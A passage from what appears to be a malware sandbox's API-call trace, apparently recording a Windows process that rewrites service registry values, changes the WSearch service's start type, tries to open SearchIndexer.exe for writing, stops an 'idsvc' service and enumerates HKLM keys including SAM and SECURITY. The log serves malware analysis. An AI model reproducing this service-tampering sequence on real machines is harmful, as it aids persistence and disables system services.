", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.090] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0248.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0248.090] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0248.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.091] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\SearchIndexer.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\SearchIndexer.exe") returned 0x0 [0248.092] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\SearchIndexer.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\SearchIndexer.exe" [0248.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0248.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0248.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0248.092] LocalFree (hMem=0x7f03d0) returned 0x0 [0248.092] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\SearchIndexer.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\SearchIndexer.exe") returned 0x0 [0248.092] OpenServiceW (hSCManager=0x803918, lpServiceName="WSearch", dwDesiredAccess=0x2) returned 0x8038a0 [0248.144] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0248.145] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0248.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0248.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0248.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0248.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0248.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0248.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.145] RegCloseKey (hKey=0x154) returned 0x0 [0248.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0248.145] RegCloseKey (hKey=0xc4) returned 0x0 [0248.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0248.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0248.146] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\SearchIndexer.exe" (normalized: "c:\\windows\\system32\\searchindexer.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90db591b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x90db591b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0248.146] CreateFileW (lpFileName="C:\\Windows\\system32\\SearchIndexer.exe" (normalized: "c:\\windows\\system32\\searchindexer.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0248.146] GetLastError () returned 0x20 [0248.146] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0248.147] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0248.147] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0248.147] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x20) returned 0x803990 [0248.147] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0248.147] GetLastError () returned 0x426 [0248.147] CloseServiceHandle (hSCObject=0x803990) returned 1 [0248.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0248.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0248.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0248.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0248.148] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0248.148] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0248.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0248.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.148] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0248.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0248.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.149] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0248.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0248.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.149] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0248.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0248.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.149] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0248.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0248.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.149] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0248.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0248.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.150] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0248.150] RegCloseKey (hKey=0x80000002) returned 0x0 [0248.150] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0248.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0248.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.150] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0248.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0248.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.150] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0248.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1b68, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0248.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.151] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0248.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0248.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.151] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0248.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0248.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.151] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0248.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0248.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.152] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0248.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0248.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.152] RtlFreeHeap (HeapHandle=0x2520000, 